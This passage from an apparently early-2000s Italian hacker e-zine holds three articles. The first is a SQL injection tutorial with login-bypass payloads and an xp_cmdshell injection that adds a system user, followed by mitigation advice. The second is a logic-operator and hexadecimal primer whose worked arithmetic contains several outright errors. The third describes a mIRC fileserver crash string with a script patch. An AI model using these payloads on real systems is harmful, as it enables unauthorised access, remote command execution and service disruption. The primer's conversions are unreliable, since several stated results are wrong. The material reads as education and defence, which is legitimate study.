| Una volta inviato, le variabili SQL conterranno i dati immessi, quindi |
| la situazione in codice sara' la seguente: |
| |
| ----start-code---- |
| |
| select * from users where username = ' ' or username like ' |
| % ' and password = ' ' or password like ' % ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando viene eseguito, ritornerà TUTTI i record del database. |
| Se l'applicazione usa questo metodo di determinazione della coppia |
| username/password ( l' 80% dei casi ) , continuerà col processo di |
| login. |
| |
| L'attaccante verrà considerato come il primo utente all'interno del |
| database ( molto spesso l'utente Administrator! ), e quindi avrà tutti i |
| permessi associati all'utente che impersonifica. |
| |
| Altro esempio, che è solo una piccola modifica del precedente: |
| |
|
|
| ________________________________________________ |
| | | |
| | USERNAME: ' or username like 'A% | |
| | PASSWORD: ' or password like ' % | |
| |_______________________________________________| |
| |
| In questo caso il database ritornerà tutti i record con utenti che |
| iniziano per " A ". |
| |
| Altri input box di login che si trovano in rete sono ad esempio quelli |
| per l'ingresso di staff e simili ( ne ho trovati pochi), ed avranno un |
| codice di login simile al seguente: |
| |
| ----start-code---- |
| |
| SQL = " select * from users where staffnumber = ' " & request.form |
| ( " staffnumber " ) & " ' and password = ' " & |
| request.form ( " password " ) & " ' " |
| |
| ------end-code---- |
| |
| |
| Quando l'utente che deve effettuare il login immette la classica coppia |
| staffnumber e password, le variabili SQL |
| conterranno i dati immessi, quindi la situazione in codice sara' la |
| seguente [poniamo staffnumber=31337 e pass=hacker] : |
| |
| ----start-code---- |
| |
| select * from users where staffnumber = 31337 and password = |
| hacker ' |
| |
| ------end-code---- |
| |
| Se questo comando SQL viene eseguito verso il database esso, come |
| possiamo intuire, ritornera' il *record* ( username e password sono |
| corrette), o non ritornera' nulla (in quanto non e' stata trovata |
| nessuna voce [record] nel database e quindi.. username e password sono |
| errate). |
| |
| |
| Ora iniziamo ad analizzare la tipologia di attacco : Proviamo ad |
| introdurre ancora il singolo apice ( ' ) all'interno dell'input box e |
| inviare: |
| |
| _______________________________ |
| | | |
| | STAFFNUMBER: ' | |
| | PASSWORD: | |
| |______________________________| |
| |
| |
| La seguente risposta è ritornata dal server (la risposta può variare) : |
| |
| Syntax error in string in query expression 'staffnumber=' AND |
| password='';'. |
| |
| Anche in questo caso l'attaccante ha in pugno i campi dell'input box che |
| gli consentiranno di immettere dati scorretti. |
| Quindi proviamo ad inserire i seguenti dati: |
| |
| |
| ________________________________________ |
| | | |
| | STAFFNUMBER: 0 or 1=1 | |
| | PASSWORD: ' or password like '% | |
| |_______________________________________| |
| |
| Una volta inviato, le variabili SQL conterranno i dati immessi, quindi |
| la situazione in codice sara' la seguente: |
| |
| ----start-code---- |
| |
| select * from users where staffnumber = 0 or 1 = 1 and |
| password = ' ' or password like ' % ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando viene eseguito, ritornerà TUTTI i record del database. |
| Se l'applicazione usa questo metodo di determinazione della coppia |
| staffnumber/password ( spesso ), continuerà col |
| processo di login. |
| |
| Altro problema che purtroppo può infliggere un server SQL, ben più |
| scomodo da "digerire" e più pericoloso... è l'esecuzione tramite le |
| inserzioni di codice viste sopra, di comandi per attivare shell remote |
| etc....; una sorta di problemi come per il cmd.exe in winnt. |
| |
| Vediamone un esempio: |
| |
| ______________________________________________________________________ |
| | | |
| |USERNAME: ' exec master..xp_cmdshell 'net user newusername | |
| | newpasswd /ADD' -- | |
| |_____________________________________________________________________| |
| |
| |
| Che in codice verrò interpretato nel seguente modo: |
| |
| -----start-code------ |
| |
| SELECT * FROM myTable WHERE someText ='' exec master..xp_cmdshell |
| 'net user newusername newpasswd /ADD'--' |
| |
| ------end-code------ |
| |
| Se l'applicazione che gestisce il server SQL sta girando con privilegi |
| tali da poter creare utenti..... immettendo questo comando verrà |
| aggiunto un nuvo utente nel database! |
| |
| I due trattini " -- " alla fine della stringa sono usati per commentare |
| tutto il codice che segue |
| |
| Come abbiamo visto viene rikiamata tramite una exec( ) una shell remota |
| " xp_cmdshell " che permette all'attaccante di eseguire codice |
| arbitrario sul database preso di mira. In SQL Server gli amministratori |
| di NT godono di privilegi speciali, poiché per default essi sono |
| amministratori di SQL Server con poteri assoluti. In virtù di questo |
| loro potere, gli amministratori possono eseguire la "pericolosa" |
| Extended Stored Procedure chiamata "xp_cmdshell". Infatti attraverso |
| essa, è possibile lanciare un comando in un prompt shell del server di |
| riferimento, autenticandosi con lo stesso account del DB server. Dal |
| momento che spesso l'account di SQL Server ha poteri molto alti sul |
| server di destinazione, tale possibilità permette di possedere un |
| qualcosa di molto simile ad una console remota sull'NT che ospita il DB |
| Server. |
| |
| Purtroppo non esiste solo la " xp_cmdshell " , ma molte altre che |
| gestiscono varie applicazioni e che permettono, se non disabilitate, di |
| avere praticamente in mano l'intero server ed oltre. ( xp_cmdshell, |
| sp_adduser, xp_reg, sp_delete_alert, sp_password, sp_start_job, |
| xp_setsqlsecurity, xp_updatecolvbm etc..etc..) |
| |
| |
| ####### Come possiamo ovviare a queste tipologie d'attacco ######## |
| |
| |
| 1) Non permettere l'uso di metacaratteri!!!! |
| |
| 2) Non permettere l'inserimento del singolo apice ( ' ). Sostituirlo *on |
| the fly* con 2 singoli apici ( 2 x ' e non ") Ad esempio con una stringa |
| come questa : goodString = replace(inputString,','') faremo ciò |
| detto sopra. |
| |
| 3) Se all'utente è rikiesto di inserire un numero..verificare che sia un |
| numero, ad esempio con " ISNUMERIC " |
| |
| 4) Usare lo username inserito per cercare il record, e quindi compararlo |
| con la password registrata. |
| |
| 5) Implementare un * error handling * che non dia informazioni sensibili |
| nel momento in cui viene commesso un errore di input. |
| |
| 6) Essere sicuri che l'applicazione stia girando con permessi |
| sufficienti per eseguire le normali operazioni di routine. |
| |
| |
| |
| Tnx && Bye to: FuSyS, Nobody, Naif, Nextie, Raptor, |
| Morpheo, SirPsychoSexy,MoF crew,UIHA crew e quelli che ho tralasciato |
| |
| Fucks to...anyone |
| |
| For contact : snhyper@hotmail.com |
| |
| [[[[[[ ..::SNHYPER::.. ]]]]]] |
| * Security Develover * |
| Linux registered user #249109 |
| Linux registered machine #133922 |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K |
| =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE [CiLi0] 0x0F/0x1D |
+--------------------------------------------------------------------------+
| |
| _______-=(menu)=-__________ |
| | -INTRODUZIONE |
| | - OPERATORI LOGICI |
| | -and |
| | -or |
| | -xor |
| | -not |
| | -NUMERAZIONE ESADECIMALE |
| | -Bin |
| | -BCD |
| |___________________________ |
| |
| |
| |
| |
| -=(INTRODUZIONE)=- |
| |
| |
| ---------------------------------- |
| |
| DeDiCaTo A : Ste ( prima o poi c'è la fai cn la Eri ;D ) ... Mighty( a |
| cui rompo sempre le balle in IRC, approposito qnd mi regali la maglieta |
| cn "b0rn the frag" ? =) al team della TCC per la loro disponibilità e |
| cortesia ( peggio di quelli della coop :) a Lu anche se mi ha incasinato |
| nn poko( ma proprio me dovevi andar a peskare...) .. naturalmentea a |
| XpTerminator ( hai visto ti ho inserito :) e a tutti quelli che si |
| impegnano a tener su l'underground italiano cn i loro txt. |
| |
| StEsUrA FiNaLe : 13/10/01 - 23.00 |
| |
| SiTuAzIoNe : ho perso il modem ( kissa in ke cazzo di scatolone è |
| finito... ) e qundi mi ritrovo off-line x cui megli mettersi il cuore in |
| pace e scrivere questi piccoli appunti (SIGH..VOGLIO IL MIO MODEM!!!!!) |
| |
| |
| ----------------------------- |
| |
| CIao a tutti! con questo piccolo articolo vorrei (tentare di) |
| descrivervi il "funzionamento" degli operatori logici e come convertire |
| un numero decimale in esadecimale e viceversa... Vorrei anticipare però |
| che tutto quello che sto per dire è solo frutto di mie esperienze e |
| qundi se ho scritto qualche ENORME cavolata fatemelo sapere a |
| fangame@virgilio.it |
| |
| |
| |
| -=(OPERATORI LOGICI)=- |
| |
| |
| Gli operatori logici sono presenti in molti linguaggi di programmazione |
| e si basano sulla matematica booleana. Detti anche connettori logici |
| permettono di condizionare un programma a seconda delle situazioni. |
| Messi a punto dal matematico George Boole (nel diciannovesimo secolo ) |
| non sono stati creati per un applicazione in ambito informatico, anche |
| se poi si sono rivelati utilissimi , data la particolare architettura di |
| un elaboratore ( calcolo binario ). Prima di iniziare veramente con gli |
| operatori logici bisogna definire alcuni termini : |
| |
| PORTA LOGICA :circuito che si basa su un determinato operatore logico ( |
| AND, OR , NOT ) OPERATORI LOGICI : regole che permettono di analizzare |
| proposizioni rappresentandole mediante simboli. gli operatori logici |
| fondamentali sono : _ NON ( NOT ): negazione ( simboli ) E ( AND ) |
| : prodotto logico ( simbolo . ) O ( NOT ) : somma logica ( simbolo +) |
| |
| |
| dai legami risultano nuove proposizione che a loro |
| volta possono essere solo vere o false |
| |
| BIT : più piccola parte di una memoria di un elaboratore ( 1 Gb |
| - 1024M - 1M - 1024 Kb - 1Kb 1024 byte - 1 byte 8 bit ) ( teoricamente |
| "TO HACK" - spaccare un bit in 4 , cosa estremamente difficile :) |
| |
| |
| |
| Quindi , tutte le variabili, dipendenti o indipendenti, di un sistema |
| logico hanno due soli valori possibili : |
| |
| - 0 ( falso ) - 1 ( vero ) |
| |
| Tali variabili risultano legate tra loro unicamente mediante i tre |
| operatori fondamentali NOT, AND, OR. |
| |
| |
| -===[( O.L. and )]===- |
| |
| l'operatore logico AND fornisce un bit "1" quando entrambi i bit che sta |
| comparando sono a livello logico "1". |
| |
| |
| BYTE |1|0|1|1|0|1|0|0| and |
| BYTE |1|1|0|1|1|1|1|1| RISULTATO |1|0|0|1|0|1|0|0| |
| |
| |
| questo perchè si ha il PRODOTTO logico ( 1 X 1 = 1 / 0x0 = 0 / 1x0 = 0 |
| ) in un discorso a livello di linguaggi di programmazione si potrebbe |
| fare questo esempio in BASIC, supponiamo di avere 4 variabili settate in |
| questo modo : |
| |
| |
| |
| - SARA = "ragazza" - ERIKA = "ragazza" - STEFANO = "ragazzo" - ALESSIO |
| = "ragazzo" |
| |
| |
| ( ogni riferimento è puramente casuale :) , scherzo ciao raga!!!! ) |
| |
| Consideriamo queste righe : |
| |
| IF SARA = "ragazza" AND STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 0 PERCHE' E' VERO SOLO 1 DELLE CONDIZIONI |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE 2 CONDIZIONI E' VERA |
| |
| |
| Per concludere posso dire che l'operatore logico AND può essere |
| comparato all' INTERSEZIONE di più insiemi |
| |
| |
| |
| N.B.: il simbolo "." è uguale al X il problema ke nn c'è un codice ASCII |
| di un punto a mezz'aria :D |
| |
| -===[( O.L. or )]===- |
| |
| l'operatore logico OR fornisce un bit ad "1" quando uno o entrambi i bit |
| che si sta comparando sono a livello logico "1" |
| |
| |
| BYTE |1|0|1|0|0|1|0|0| or BYTE |0|0|0|1|0|0|0|0| |
| RISULTATO |1|0|1|1|0|1|0|0| |
| |
| |
| |
| Si ha infatti la somma logica 1 + 0 = 1 / 0 + 0 = 0 / 1 + 1 = 1 ( in |
| binario da 1 :) / 0 + 1 = 1 Sempre nell'ambito dei linguaggi di |
| programmazione , prendiamo nuovamente d'esempio le solite variabili : |
| |
| |
| - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = |
| ragazzo |
| |
| |
| e casi simili : |
| |
| |
| IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' |
| SODDISFATTA |
| |
| |
| |
| |
| -===[( O.L. not )]===- |
| |
| il not è l'unico operatore logico unario ( ovvero cn un solo ingresso, |
| manca la comparanzione in poke parole ) e da come risultato il |
| complementare del valore esaminato. |
| |
| |
| BYTE |1|0|1|1|0|0|1|0| not RISULTATO |0|1|0|0|1|1|0|1| |
| |
| |
| |
| _ si ha infatti il complementare di un bit, supponiamo ke un bit sia uno |
| il suo complementare sarà 0 ( 1 = 0 ) |
| |
| -O.L. xor - |
| |
| |
| l'operatore logico XOR fornisce un bit ad "1" quando i bit che si stanno |
| comparando hanno valori logici diversi. Quindi se tutti e due i bit |
| d'ingresso sono a "1" o a "0" il ivello logico in uscita sarà "0". |
| |
| |
| | | V BYTE |1|0|1|0|0|1|0|0| xor BYTE |
| |0|0|0|1|0|1|0|0| XOR RISULTATO |
| |1|0|1|1|0|0|0|0| |
| |
| |
| |
| si ha un eccezione in ambito di algebra Booleana , solitamente infatti |
| la somma logica di 1 e 1 è 1 (ma va ? ) qui invece 1 + 1 = 0. |
| programmazione, variabili : |
| |
| |
| - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = |
| ragazzo |
| |
| |
| e i casi : |
| |
| IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 0 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' |
| SODDISFATTA |
| |
| -=(NUMERAZIONE ESADECIMALE)=- |
| |
| |
| la scala esadecimale ( che d'ora in poi abbrevieremo in HEX ) è |
| ampiamente usata in campo informatico ( basta pensare che il campo data |
| in un pacchetto TCP/IP è "scritto" in HEX ) ed è importante sapersi |
| muovere in questo ambito. In questi txt esamineremo il sistema di |
| trasformazione BCD (8421) ovvero "Binary Coded Decimal = codifica |
| binaria del sistema decimale" Questo codice permette la codifica, |
| mediante quattro bit binari, delle dieci cifre del sistema di |
| numerazione decimale. Anche qui c'è da fare una piccola premessa. |
| L'elaboratore ragione in binario ed è quindi fondamentale conoscere |
| questa scala, anche perchè, senza di essa non possiamo trasformare il |
| numero in HEX ( usando il BCD , esistono altri metodi per cui possiamo |
| farne a a meno ). Se avete letto la definizione di bit ad inizio |
| articolo avrete visto come un byte è diviso in otto bit, queste 8 celle |
| di memoria possono avere solo valore 1 o 0 ( così come detto prima ). |
| Per transformare il valore di un byte espresso in binario in decimale |
| dobbiamo usare il metodo classico di conversione. Questo metodo |
| indentifica l'ultima byte a destra il meno signifativo e il suo opposto |
| come il più significativo :) e associa ad ogni bit una potenza di 2 ( |
| propriò perchè la base di numerazione binaria si basa su 2 cifre ). Dove |
| il bit meno significativo ha potenza 2^0 e il più significativo 2^7. |
| |
| |
| ESPONENTE POTENZA DI 2 7 6 5 4 3 2 1 0 GLi 8 bit |
| | | | | | | | | | |
| |
| |
| i valori, quindi saranno i seguenti |
| |
| |
| 2^0 = 1 ( 1 bit a destra , meno significativo ) 2^1 = 2 ( 2 bit a |
| destra ) 2^2 = 4 ( 3 bit a destra ) 2^3 = 8 ( 4 bit a destra ) 2^4 = |
| 16 ( 5 bit a destra ) 2^5 = 32 ( 6 bit a destra ) 2^6 = 64 ( 7 bit a |
| destra ) 2^8 = 128 (8 bit a destra, più significativo ) |
| |
| |
| La loro somma, ovvero l'intero byte in decimale è espresso in decimale è |
| 255. da questi due schemi deduciamo ke se vogliamo convertire 01000000 |
| decimale il risultato non potrà ke essere 64 :) così come 10000001 sarà |
| 129. Il sistema BCD ha lo stesso principio ma si basa su gruppi di 4 |
| bit, in decimale 8-4-2-1 ( ecco perchè BCD(8421) ). Fermiamoci un attimo |
| a pensare però... il nostro sistema viene detto decimale perchè si basa |
| su 10 cifre ( 0 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 ), il massimo che si |
| può raggiungere senza passare alle decine, è 9, LO ZERO VA CONTATO! ecco |
| perchè decimale , dieci numeri da 1 unita e dopo si può solo passare |
| alle decine!. in HEX è la stessa cosa esiston 16 cifre da un unità ( 0 |
| -1-2-3-4-5-6-7-8-9-A-B-C-D-E-F ) e quindi F non sarà 16 ma 15! perchè |
| come in DEC dopo il nove va aggiunto un unità in modo da passare a 10 |
| anche dopo F bisogna passare alla scala superiore! Infatti 8+4+2+1 = 15 |
| = F . Detto questo esaminiamo un gruppo di 4 bit : |
| |
| |
| POTENZA DI 2 3 2 1 0 4 BIT |
| | | | | | VALORE DECIMALE 8 4 2 1 |
| |
| |
| Abbiamo ora tutti gli elementi per eseguire la nostra prima conversione |
| ;), naturalmente deve essere un numero compreso tra 0-15 . proviamo 13 |
| |
| |
| POTENZA DI 2 3 2 1 0 4 BIT |
| |1|1|0|1| VALORE DECIMALE 8 4 2 1 |
| |
| |
| |
| basandoci sulla normale conversione binaria (v.prima )possiamo dire |
| 8+4+1 > DEC = 13 8+4+1 > HEX = D |
| |
| data questa base dovremmo essere in grado di covertire qualsiasi numero |
| passandolo da DEC - BIN - HEX sfruttando il sisteam BCD e aggiungendo n |
| gruppi di 4 bit tanto più il numero è grande. Facciamo a questo |
| proposito un esempio, cercheremo di convertire il numero 49. |
| |
| |
| |
| POTENZE DI 2 7 6 5 4 3 2 1 0 4+4 BIT |
| |0|0|1|1| |0|0|0|1| VALORE DEC 8 4 2 1 8 4 2 1 |
| |
| |
| da notare come le potenze di 2 aumentino di 4 alla volta e non |
| ricomincino ogni gruppo di 4, questo perchè i numeri possono essere |
| maggiorni di 15 e bisogna riuscire ad esprimerli in potenze di 2. |
| Tornando alla conversione possiamo constatare come le potenze di 2 diano |
| effetivamente 49 ( 2^5 = 32 + 2^4 = 16 + 2^0 = 1 / 32+16+1 = 49 ). |
| Guardiamo ora i valori in basso ovvero "VALORE DEC" rispettivo ad ogni |
| cella di bit settati a 1 esaminiamo come : |
| |
| PRIMO GRUPPO : 0011 = 2+1 > DEC = 3 0011 = 2+1 > HEX = 3 |
| |
| |
| SECONDO GRUPPO : 0001 = 1 > DEC = 1 0001 = 1 > HEX = 1 |
| |
| |
| concludendo possiamo quindi dire che 49d = 31h ( d = indica che il |
| numero è decimale, h = indica che il numero è esadecimale). |
| |
| N.B. : 31h non si legge "trentuno" ma bensì "tre uno". |
| |
| Come detto prima nel caso di un numero che vada oltre 15 si usano i suoi |
| multipli per cui dovreste essere tranquillamente in grado di convertire |
| un numero come 2208 semplicemente usando 3 gruppi di 4 bit e aumentando |
| le potenze di 2 di 4 esponenti: |
| |
| |
| |
| POTENZE DI 2 11 10 9 8 7 6 5 4 3 2 1 0 4+4+4 BIT |
| |1|0|0|1| |1|0|1|0| |0|0|0|0| VALORE DEC 8 4 2 1 8 |
| 4 2 1 8 4 2 1 |
| |
| |
| |
| 2^11 = 2048 2^7 = 128 2^5 = 32 |
| |
| 2048+128+32 = 2048 |
| |
| |
| |
| PRIMO GRUPPO : 01000 = 4 > DEC = 4 01000 = 4 > HEX = 4 |
| |
| SECONDO GRUPPO : 1010 = 8+2 > DEC = 10 1010 = 8+2 > HEX = A |
| |
| TERZO GRUPPO = 0 ( bisogna scriverlo! ) |
| |
| quindi il risultato sarà : 8A0h ( pronuncia : otto - A - zero ) |
| |
| |
| Detto tutto ciò non ci dovrebbero essere problemi a convertire un numero |
| HEX in DEC con il BCD. Facciamol velocemente provando a non usare la |
| piccola,solita, tabella. Prendiamo com esempio C64h. Ora scomponiamolo |
| |
| C = 12 , quindi 8 + 4 > BIN = 1001 6 = 4+2 > BIN = 0110 4 = 4 > BIN = |
| 0100 |
| |
| le 3 cifre del numero ci fanno capire che sono stati usati 3 coppie di 4 |
| bit per transformalo, di conseguenze le potenze di 2 del gruppo di bit |
| che ha formato C andrà da 11 a 8 , quello che ha formato 6 da 7 a 4 e |
| con 4 da 3-0. Saputo questo esaminiamo 1001 , il primo uno a sinistra |
| sarà allora 2^11 e l'ultima a destra 2^8. In 0110 , il primo uno da |
| sinistra sarà 2^6 e l'altro 2^5 in 0100 , l'unico 1 sarà 2^2. |
| |
| Quindi |
| |
| 2^11 = 2048 2^8 = 512 2^6 = 64 2^5 = 32 2^2 = 4 |
| |
| numero in dec = 2048 + 512 + 64 + 32 + 4 = 3172. |
| |
| Con questo ultimo calcolo ho finito... questa è la seconda volta che |
| riscrivo questo articolo... ( la versione beta, anzi alpha ( vero XP ? |
| :) era molto incasinata ) credo che questa volta sia comprensibile. Le |
| fonti sono : |
| |
| - la mia piccola mente malata :D - Elettronica Logica ( R.Giometti |
| - F.Frascari ) Ed.Calderini |
| |
| |
| per concludere vi do un consigli... usate un software di conversione |
| esadecimale :D |
| |
| alla prox Byz CiLi0 |
| |
| |
| UIN : 92732867 e.mail : fangame@virgilio.it |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| FiLESERVER BUG [^_][ice][man][_^] 0x10/0x1D |
+--------------------------------------------------------------------------+
| |
| Autore: ^_][ice][man][_^ |
| Data: 4/12/01 ore 14.03 |
| Informazioni: Sono ancora in pigiama visto ke la scuola è in |
| okkupazione ed ho fame dato ke sono le 14 ( ho fatto 1 ora fa |
| colazione :))) hihihi ) |
| |
| |
| |
| |---MENU----|____________________ |
| |¯¯¯¯¯¯¯¯¯¯¯ | |
| | 1) Disclaimer ctrl+Z | |
| | 2) Premessa ctrl+Q | |
| | 3) Introduzione ctrl+A | |
| | 4) Materiale utilizzato | |
| | 5) Fase Pratica ctrl+X | |
| | 6) Patch | |
| | 7) Consigli e informazioni | |
| | 8) Ringraziamenti | |
| | 9) Contatti | |
| |10) Quit ctrl+alt+canc | |
| |________________________________| |
| |
| |
| |
| ------------------------- DISCLAIMER -------------------------------- |
| |
| QUESTO TESTO è STATO SCRITTO ESCLUSIVAMENTE CON L'INTENTO DI DARE |
| INFORMAZIONE E NIENT'ALTRO!! L'AUTORE DI CODESTO TESTO ( |
| ^_][ice][man][_^ ), IL VENINSIDE GROUP E TUTTE LE PERSONE CITATE IN |
| QUESTO TXT NON SI RITENGONO RESPONSABILI DELL'USO CHE POTRETE FARE DI |
| QUESTE INFORMAZIONI...GRAZIE |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ PREMESSA ------------------------------------- |
| |
| Innanzitutto ciao..cari lettori (ma dove stanno poi :pp :) ) . Voglio |
| cominciare col dirvi che questo testo non vuole essere fonte di |
| lamerate..., ma viene usato solo come mezzo di informazione per |
| proteggersi da eventuali buchi presenti in alcune applicazioni. |
| Infatti..oltre ad illustrarvi il problema , vi darò anche la relativa |
| patch , in modo da poter rendere inutile qualsiasi attacco che vi |
| verrà fatto ( come mi sento BILL hihihi). |
| |
| ----------------------------------------------------------------------- |
| |
| |
| |
| ------------------------INTRODUZIONE---------------------------------- |
| |
| Tutti voi conoscerete mIRC, il più famoso client IRC presente sulle |
| macchine Winxx . Ed oltre a questo...se avete un pò di conoscenza, |
| sarete informati anche riguardo il bug di windows: com1, lpt1 ecc... |
| Per chi non lo conoscesse, dovete sapere che, digitando alcune parole |
| chiavi tipo Com1, lpt1 ( che windows utilizza per identificare |
| determinate porte ), sotto Il Dos di WIndows, vi comparirà un bell' |
| Edit del Dos oppure si riavvierà il Command.com. Questo perchè sono |
| parole chiavi usate dal sistema, le quali non possono essere |
| utilizzate (almeno non dovrebbero)! Infatti provate a creare una |
| cartella chiamandola Com1..vedrete che non vi permetterà di crearla. |
| Almeno questo problema è stato riscontrato su Sistemi Win95 seconda |
| edizione. Purtroppo è stato trovato un legame tra questo bug e |
| l'applicazione mIRC, e più precisamente degli Fserve. |
| Come dovreste sapere, molti utenti in IRC, mettono a disposizione una |
| parte del contenuto del loro PC ( mp3, giochi completi, testi ecc.. ) |
| ad altre persone che possono così scaricarlo. Infatti, digitando in |
| room il trigger ( che è una stringa particolare che il mirc |
| interpreta, ad esempio !mp3) si entra in una dcc chat la quale |
| permette di navigare tra le cartelle messe a disposizione dall'Fserve, |
| proprio come una shell Dos, e di scaricare tutto ciò che si vuole. |
| Purtroppo in questa DCC chat è stato riscontrato un problema..persino |
| sulla versione più recente del mIRC..la 5.91. Infatti digitando alcune |
| stringhe all'interno della stessa...si provocherà il crash |
| dell'applicazione, la quale dovrà per forza essere riavviata; la cosa |
| più brutta è che non e nemmeno possibile visualizzare l'autore della |
| lamerata per poterlo pikkiare :) |
| |
| ---------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ MATERIALE UTILIZZATO ----------------------- |
| |
| Ora vi elencherò (sai poi quant'è lunga ) la lista del materiale da |
| utiliizzare :) |
| |
| - Client che permette le DCC chat ( quindi non va bene Microzozz chat |
| ),e la ricezione dei file. |
| - Dovrete trovare su qualche server IRC degli FSERVE attivi |
| ( NON vi SPIEGO COME FARE PERCHè NON VOGLIO CHE FACCIATE CIò CHE VI |
| STO ILLUSTRANDO). |
| |
| - Finito qui :)) |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ FASE PRATICA ------------------------------- |
| |
| Una volta aperta una DCC Chat con un Fserve, basterà digitare per 29 |
| volte circa...la stringa |
| |
| " cd com99999 " oppure " cd ltp99999 " (esclusi gli apici :E ). |
| Vedrete che l'fserve vi risponderà così: |
| |
| <Lamer> cd com99999 |
| <Fserve> [\com99999] |
| <Lamer> cd com99999 |
| <Fserve> [\com99999\com99999] ecc... finchè alla vostra richiesta |
| l'Fserve non risponderà più! |
| |
| Sarà in quel momento che il Mirc crasherà, e si bloccherà tutto. |
| Ovviamente se vedrete il nick ancora in room significa che il |
| possessore dell'fserve non lo ha chiuso ancora. Il fatto di scrivere |
| numeri 99999 è indifferente,xkè potrete scrivere qualunque numero. Al |
| posto di com, come vi avevo detto prima è possibile mettere LPT, |
| mentre invece AUX non funziona. |
| |
| /****** VI CHIEDO COMUNQUE DI NON PROVARLO SUGLI ALTRI, MA SE PROPRIO |
| CI TENETE, APRITEVI UN PICCOLO DEMONE IRC E FATELO IN LOCALE ******\ |
| |
| Ovviamente l'Fserve cade, xkè c'è da parte dell'utente, la richiesta |
| di una cartella che non esiste, ma allo stesso tempo esiste! Cioè |
| logicamente sull HDD non esiste, ma Windows utilizza il nome COM, come |
| abbiamo detto prima, per identificare alcune porte presenti sul PC ! |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| |
| ---------------------------- PATCH ---------------------------------- |
| |
| Siccome questo bug non è molto conosciuto, e fino ad ora nessun |
| sviluppatore del programma mIRC si è degnato di avviare una patch, io, |
| essendo un amante del Mirc scripting, ho deciso di crearne uno con le |
| mie mani |
| |
| Ecco a voi presentato: |
| |
| ;------------------------ <--- Taglia qui |
| |
| on ^*:serv:*:{ |
| $iif( ( ( $left($2,3) == com ) && ( $mid($2,4,1) isnum ) ) || ( ( |
| $left($2,3) == lpt ) && ( $mid($2,4,1) isnum ) ) , halt ) |
| } |
| |
| |
| ;----------------------- <---- Taglia qui |
| |
| Ovviamente questo pezzo di code, dovrà essere pastato all'interno |
| della sezione Remote del vostro mIRC. |
| Ora vi spiego la logica del codice: |
| |
| ON ^*:serv:*: ----> questo evento entra in funzione nel momento in |
| cui si avvia una DCC Fserve il ^ permette al Mirc di non effettuare |
| alcune operazioni usando il comando /halt |
| |
| $iif( cond,V,F) ----> questo identificatore interpreta la condizione |
| ed esegue le istruzioni poste nel campo V se la condizione è |
| vera,oppure quelle posta nel campo F se la stessa è falsa. |
| |
| |
